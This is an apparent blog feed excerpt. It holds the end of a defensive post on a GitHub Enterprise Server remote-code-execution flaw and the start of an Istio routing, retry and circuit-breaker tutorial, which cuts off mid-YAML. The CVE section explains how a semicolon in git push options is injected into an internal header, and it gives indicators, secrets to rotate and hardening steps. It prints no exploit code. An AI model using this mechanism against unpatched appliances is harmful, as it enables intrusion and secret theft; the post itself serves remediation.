          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If a push with a <code>;</code> in <code>push_option</code> predates your upgrade and the user is not who you think, treat the appliance as compromised:</p>
<ul>
<li><input disabled="" type="checkbox"> All deploy keys and machine user tokens</li>
<li><input disabled="" type="checkbox"> OAuth app and GitHub App private keys</li>
<li><input disabled="" type="checkbox"> Webhook secrets</li>
<li><input disabled="" type="checkbox"> Actions runner registration tokens</li>
<li><input disabled="" type="checkbox"> LDAP/SAML signing certs and any service-account credentials</li>
<li><input disabled="" type="checkbox"> Any cloud credentials stored in repo secrets</li>
</ul>
<p>The pre-receive binary runs as the <code>git</code> user, which can read every repo on the appliance. Treat secrets that lived in any repo as exposed, not just the repo the attacker pushed to.</p>
<h3 id="h3-4-review-your-github-app-and-oauth-scopes" class="group relative scroll-mt-24">
        <a href="#h3-4-review-your-github-app-and-oauth-scopes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Review your GitHub App and OAuth scopes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-review-your-github-app-and-oauth-scopes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The exploit&#39;s blast radius on GHES includes anything the appliance can call out to. If an integration&#39;s webhook is signed with a secret stored on the appliance, the secret is in scope. Work outwards from the appliance and trim scopes on connected services that do not need write access.</p>
<h3 id="h3-5-lock-down-authenticated-user-with-push-access" class="group relative scroll-mt-24">
        <a href="#h3-5-lock-down-authenticated-user-with-push-access" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Lock down "authenticated user with push access"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-lock-down-authenticated-user-with-push-access"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If your GHES allows self-service repository creation, every authenticated user on the appliance has push access to at least one repository (theirs). On a GHES that exposes SSH or HTTPS to the internet, every authenticated user is a potential exploit precondition. Until you have upgraded:</p>
<ul>
<li>Disable repository creation for unprivileged users.</li>
<li>Restrict SSH and HTTPS to the corporate network or a VPN.</li>
<li>Disable inbound network access to the appliance from anywhere you do not control.</li>
</ul>
<p>These are not fixes, they shrink the attack surface while you patch.</p>
<h2 id="h2-why-internal-headers-keep-biting" class="group relative scroll-mt-24">
        <a href="#h2-why-internal-headers-keep-biting" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why "internal headers" keep biting
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-internal-headers-keep-biting"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>CVE-2026-3854 is a textbook header-injection bug, and they keep happening for the same reason: services use a delimiter character that can also appear in user input, and the boundary between &quot;trusted internal metadata&quot; and &quot;user-controlled value&quot; is enforced by an honor system.</p>
<p>A few patterns to learn from this:</p>
<p><strong>Pick a delimiter that cannot appear in untrusted input, or escape it.</strong> Semicolons are common in user data (URLs, MIME types, semicolon-separated CSV-ish strings). If you are going to use one as a field separator, you must escape or strip it on the way in. Better, use a length-prefixed binary format or JSON between services and let the parser handle it.</p>
<p><strong>Treat downstream services as if they will trust whatever you send them.</strong> babeld assumed gitrpcd would re-validate. gitrpcd assumed gitauth had set the trusted fields. The pre-receive binary assumed both. Nobody re-validated the join. This is the opposite of defense in depth.</p>
<p><strong>Test with adversarial inputs across service boundaries.</strong> A unit test for babeld&#39;s push-option handling never noticed because the test inputs did not contain <code>;</code>. A unit test for gitrpcd&#39;s <code>X-Stat</code> parser never noticed because the test inputs were synthesized internally. The bug only existed at the seam.</p>
<p><strong>Internal headers deserve the same paranoia as external APIs.</strong> &quot;Only our own services talk to it&quot; is not a security control when one of those services accepts user input.</p>
<h2 id="h2-why-this-matters-for-devops-teams" class="group relative scroll-mt-24">
        <a href="#h2-why-this-matters-for-devops-teams" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why This Matters for DevOps Teams
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-this-matters-for-devops-teams"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A few things stand out about this CVE beyond the immediate patch:</p>
<p><strong>Self-hosted does not mean low risk.</strong> GHES is the version of GitHub that runs inside your perimeter, often behind a VPN, often configured as the canonical source of truth for an organization&#39;s code. The appliance also stores deploy keys, webhook secrets, OIDC trust relationships, and Actions runner tokens. A single RCE on the appliance is, for most orgs, equivalent to a full software supply chain compromise.</p>
<p><strong>Push options are user input.</strong> Most teams treat <code>git push -o</code> as a tooling channel for things like CI flags or merge-queue annotations. The protocol does not give those values any privileged status; they are user-supplied strings. If you write tools that consume push options server-side, sanitize them like you would any other request body.</p>
<p><strong>Patch latency is the actual risk.</strong> GitHub patched github.com in 75 minutes. The same fix took two months to reach 88% of self-hosted instances. That is not a vendor problem; that is the organization owning the appliance not having an upgrade rhythm. Build the cadence before the next CVE.</p>
<p><strong>Your audit logs are the only proof you have.</strong> If you do not capture push options today, you cannot answer &quot;were we exploited&quot; for this CVE except by trusting that nobody noticed. Make sure your GHES audit log retention is at least 90 days, that you ship audit events into a SIEM you actually search, and that the retention covers the full disclosure-to-patch window for the vulnerabilities you have not seen yet.</p>
<h2 id="h2-key-takeaways" class="group relative scroll-mt-24">
        <a href="#h2-key-takeaways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Takeaways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-key-takeaways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li><strong>Upgrade GHES today</strong> to 3.14.25, 3.15.20, 3.16.16, 3.17.13, 3.18.7, 3.19.4, or 3.20.0.</li>
<li><strong>Grep audit logs</strong> for <code>;</code> inside <code>push_option</code> values. That is the IoC. Anything matching from before your upgrade is a treat-as-compromised event.</li>
<li><strong>Rotate appliance-scoped secrets</strong> if you find an IoC: deploy keys, App private keys, webhook secrets, runner registration tokens, repo secrets.</li>
<li><strong>Restrict the attack precondition.</strong> If your GHES is internet-reachable, assume someone has fingerprinted it. Move SSH and HTTPS behind a VPN until you patch.</li>
<li><strong>Build a GHES upgrade cadence.</strong> 88% of internet-reachable instances were unpatched two months after the fix shipped. The next CVE is already on someone&#39;s disclosure timeline.</li>
<li><strong>Treat internal service headers like external APIs.</strong> Delimiter-based formats with no escaping at the seam are how this bug existed; the seam is where you should test.</li>
</ol>
<p>The bug itself was a one-character oversight. The two-month window between fix and field deployment is the part DevOps teams own.</p>
<p><em>Sources: <a href="https://github.blog/security/securing-the-git-push-pipeline-responding-to-a-critical-remote-code-execution-vulnerability/">GitHub Security Blog</a>, <a href="https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854">Wiz Research</a>, <a href="https://thehackernews.com/2026/04/researchers-discover-critical-github.html">The Hacker News</a>, <a href="https://www.helpnetsecurity.com/2026/04/29/cve-2026-3854-github-rce-vulnerability/">Help Net Security</a>, <a href="https://cybersecuritynews.com/github-com-and-enterprise-server-rce/">Cybersecurity News</a></em></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Istio Traffic Management: Routing, Retries, and Circuit Breaking]]></title>
      <link>https://devops-daily.com/posts/istio-traffic-management-routing-retries-circuit-breaking</link>
      <description><![CDATA[Configure weighted routing, automatic retries, and circuit breakers in Istio with copy-paste YAML examples and real kubectl output you can verify on your own cluster.]]></description>
      <pubDate>Mon, 04 May 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/istio-traffic-management-routing-retries-circuit-breaking</guid>
      <category><![CDATA[Kubernetes]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[Istio]]></category><category><![CDATA[service-mesh]]></category><category><![CDATA[traffic-management]]></category><category><![CDATA[Kubernetes]]></category><category><![CDATA[Networking]]></category><category><![CDATA[DevOps]]></category>
      <content:encoded><![CDATA[<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Istio gives you three traffic controls every production service needs: weighted routing for safe rollouts, retries for handling flaky downstream calls, and circuit breakers to stop cascading failures. You configure them with <code>VirtualService</code> and <code>DestinationRule</code> objects. This post walks through each one with working YAML, real terminal output, and the gotchas that bite people in production.</p>
<p>You shipped a new version of your <code>payments</code> service. Half the traffic now hits v2, and v2 is timing out against a slow downstream API. Within ninety seconds your <code>checkout</code> service is also degraded because every request is waiting on payments. By the time you roll back, three more services are slow and your error budget is gone for the quarter.</p>
<p>This is the failure pattern Istio is built to prevent. Not the deploy itself, but the blast radius. With a few lines of YAML you can shift traffic gradually, retry transient failures without writing retry code in every service, and trip a circuit breaker so a sick instance gets isolated instead of dragging down its callers.</p>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A Kubernetes cluster with Istio 1.20+ installed (<code>istioctl version</code> should return both client and control plane versions)</li>
<li>The <code>istio-injection=enabled</code> label on the namespace you are working in</li>
<li><code>kubectl</code> access and basic familiarity with <code>apply</code>, <code>get</code>, and <code>describe</code></li>
<li>Two or more versions of a sample service deployed (this post uses the standard <code>httpbin</code> and a custom <code>reviews</code> example)</li>
</ul>
<p>You can check injection is on with:</p>
<pre><code class="hljs language-bash">kubectl get namespace default --show-labels
</code></pre><p>Output should include <code>istio-injection=enabled</code>. If it doesn&#39;t, label it:</p>
<pre><code class="hljs language-bash">kubectl label namespace default istio-injection=enabled
</code></pre><h2 id="h2-the-two-objects-you-need-to-know" class="group relative scroll-mt-24">
        <a href="#h2-the-two-objects-you-need-to-know" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Two Objects You Need to Know
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-two-objects-you-need-to-know"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Istio&#39;s traffic policies live in two CRDs:</p>
<ul>
<li><strong>VirtualService</strong> — defines <em>how</em> requests are routed. Match on host, path, header, weight.</li>
<li><strong>DestinationRule</strong> — defines <em>what happens after</em> the route is picked. Subsets, load balancing, connection pools, outlier detection.</li>
</ul>
<p>A common mistake is putting circuit breaker settings in a VirtualService. They don&#39;t belong there. Circuit breakers are a property of the destination, not the route.</p>
<pre><code class="hljs language-text">Client → VirtualService (routing decision) → DestinationRule (subset + policy) → Pod
</code></pre><p>Keep this mental model. It saves a lot of debugging.</p>
<h2 id="h2-weighted-routing-for-canary-deploys" class="group relative scroll-mt-24">
        <a href="#h2-weighted-routing-for-canary-deploys" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Weighted Routing for Canary Deploys
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-weighted-routing-for-canary-deploys"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Say you have two deployments of <code>reviews</code>: v1 (stable) and v2 (new). You want 90% of traffic on v1 and 10% on v2 to start.</p>
<p>First, define the subsets in a DestinationRule. Subsets are how Istio knows what &quot;v1&quot; and &quot;v2&quot; mean.</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.istio.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">DestinationRule</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">reviews</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">host:</span> <span class="hljs-string">reviews</span>
  <span class="hljs-attr">subsets:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">v1</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">version:</span> <span class="hljs-string">v1</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">v2</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">version:</span> <span class="hljs-string">v2</span>
</code></pre><p>The <code>labels</code> field matches pod labels. So your <code>reviews-v1</code> deployment needs <code>version: v1</code> on its pod template, and <code>reviews-v2</code> needs <code>version: v2</code>. If the labels don&#39;t match, the subset routes to zero pods and you get 503s.</p>
<p>Now the VirtualService that splits traffic:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.istio.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">VirtualService</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">reviews</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">hosts:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">reviews</span>
  <span class="hljs-attr">http:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">route:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">destination:</span>
            <span class="hljs-attr">host:</span> <span class="hljs-string">reviews</span>
            <span class="hljs-attr">subset:</span> <span class="hljs-string">v1</span>
          <span class="hljs-attr">weight:</span> <span class="hljs-number">90</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">destination:</span>
            <span class="hljs-attr">host:</span> <span class="hljs-string">reviews</span>
            <span class="hljs-attr">subset:</span> <span class="hljs-string">v2</span>
          <span class="hljs-attr">weight:</span> <span class="hljs-number">10</span>
</code></pre><p>Apply both, then verify the routing:</p>
<pre><code class="hljs language-bash">kubectl apply -f reviews-destinationrule.yaml
kubectl apply -f reviews-virtualservice.yaml

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> {1..20}; <span class="hljs-keyword">do</span>
  kubectl <span class="hljs-built_in">exec</span> deploy/curl -- curl -s reviews:9080/version
<span class="hljs-keyword">done</span> | <span class="hljs-built_in">sort</span> | <span class="hljs-built_in">uniq</span> -c
</code></pre><p>Expected output for a 90/10 split over 20 requests:</p>
<pre><code class="hljs language-text">     18 v1
      2 v2
</code></pre><p>The split is statistical, not exact. Don&#39;t expect 9 out of 10 every single time. Over a few thousand requests it converges.</p>
<p>To shift to 50/50, just edit the weights and re-apply. No pod restarts. No DNS changes. The Envoy sidecars pick up the new config in a few seconds.</p>
<h3 id="h3-routing-by-header" class="group relative scroll-mt-24">
        <a href="#h3-routing-by-header" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Routing by Header
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-routing-by-header"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Weighted splits are great for percentage rollouts. But sometimes you want only specific users (your QA team, your own account) to hit v2. Match on a header:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.istio.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">VirtualService</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">reviews</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">hosts:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">reviews</span>
  <span class="hljs-attr">http:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">match:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">headers:</span>
            <span class="hljs-attr">x-user-tier:</span>
              <span class="hljs-attr">exact:</span> <span class="hljs-string">internal</span>
      <span class="hljs-attr">route:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">destination:</span>
            <span class="hljs-attr">host:</span> <span class="hljs-string">reviews</span>
            <span class="hljs-attr">subset:</span> <span class="hljs-string">v2</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">route:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">destination:</span>
            <span class="hljs-attr">host:</span> <span class="hljs-string">reviews</span>
            <span class="hljs-attr">subset:</span> <span class="hljs-string">v1</span>
</code></pre><p>The order matters. Istio evaluates rules top to bottom and uses the first match. Put the specific header rule first; the catch-all default goes last.</p>
<h2 id="h2-retries-stop-writing-retry-code-in-every-service" class="group relative scroll-mt-24">
        <a href="#h2-retries-stop-writing-retry-code-in-every-service" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Retries: Stop Writing Retry Code in Every Service
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-retries-stop-writing-retry-code-in-every-service"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Every team writes the same broken retry loop. Three retries, fixed backoff, no jitter, retries on POST, retries on 4xx errors. Then the downstream service has a brief blip and gets hit with a thundering herd.</p>
<p>Push retries into Istio. One config, applied to every call out of the mesh, with backoff and proper status code matching.</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.istio.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">VirtualService</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">reviews</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">hosts:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">reviews</span>
  <span class="hljs-attr">http:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">route:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">destination:</span>
            <span class="hljs-attr">host:</span> <span class="hljs-string">reviews</span>
            <span class="hljs-attr">subset:</span> <span class="hljs-string">v1</span>
      <span class="hljs-attr">retries:</span>
        <span class="hljs-attr">attempts:</span> <span class="hljs-number">3</span>
        <span class="hljs-attr">perTryTimeout:</span> <span class="hljs-string">2s</span>
        <span class="hljs-attr">retryOn:</span> <span class="hljs-string">gateway-error,connect-failure,refused-stream</span>
</code></pre><p>Some details that matter:</p>
<ul>
<li><code>attempts: 3</code> is the number of <em>retries</em>, not total tries. So up to 4 requests in the worst case.</li>
<li><code>perTryTimeout</code> is per attempt. Total time can be <code>attempts * perTryTimeout</code> plus backoff.</li>
<li><code>retryOn</code> controls which failures trigger a retry. The default includes some surprises. Be explicit.</li>
</ul>
<p>The values you almost always want in <code>retryOn</code>:</p>
<ul>
<li><code>gateway-error</code> — 502, 503, 504</li>
<li><code>connect-failure</code> — TCP connect failed</li>
<li><code>refused-stream</code> — HTTP/2 stream was refused (usually from overload)</li>
</ul>
<p>Things you almost never want to retry:</p>
<ul>
<li>4xx client errors (except 429)</li>
<li>POST/PUT/DELETE without idempotency keys</li>
</ul>
<p>To test retries are firing, point your VirtualService at <code>httpbin</code> and force a 503:</p>
<pre><code class="hljs language-bash">kubectl <span class="hljs-built_in">exec</span> deploy/curl -- curl -s -o /dev/null -w <span class="hljs-string">&quot;%{http_code}\n&quot;</span> \
  httpbin:8000/status/503
</code></pre><p>Then check the upstream stats from the sidecar:</p>
<pre><code class="hljs language-bash">kubectl <span class="hljs-built_in">exec</span> deploy/curl -c istio-proxy -- \
  pilot-agent request GET stats | grep retry
</code></pre><p>You should see counters like:</p>
<pre><code class="hljs language-text">cluster.outbound|8000||httpbin.default.svc.cluster.local.upstream_rq_retry: 3
cluster.outbound|8000||httpbin.default.svc.cluster.local.upstream_rq_retry_success: 0
</code></pre><p>Three retries fired, zero succeeded. That tells you retries are configured correctly even though the test endpoint always fails.</p>
<h3 id="h3-a-word-on-retry-budgets" class="group relative scroll-mt-24">
        <a href="#h3-a-word-on-retry-budgets" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          A Word on Retry Budgets
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-a-word-on-retry-budgets"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Retries multiply load. If your service does 1000 RPS and every call retries 3 times on failure, a 50% failure rate means 2500 RPS hitting the downstream. That&#39;s how outages get worse instead of better.</p>
<p>Istio doesn&#39;t have a global retry budget like Linkerd does. The mitigation is: keep <code>attempts</code> low (2 or 3, not 10), use <code>perTryTimeout</code> aggressively, and pair retries with circuit breaking so a sick host gets ejected before retries hammer it.</p>
<h2 id="h2-circuit-breaking-with-outlier-detection" class="group relative scroll-mt-24">
        <a href="#h2-circuit-breaking-with-outlier-detection" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Circuit Breaking with Outlier Detection
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-circuit-breaking-with-outlier-detection"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Circuit breaking in Istio is two things working together: connection pool limits and outlier detection. The pool limits cap how many requests you&#39;ll send. Outlier detection ejects misbehaving hosts.</p>
<p>Here&#39;s a realistic config for a backend service:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.istio.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">DestinationRule</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">payments</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">host:</span> <span class="hljs-string">payments</span>
  <span class="hljs-attr">trafficPolicy:</span>
    <span class="hljs-attr">connectionPool:</span>
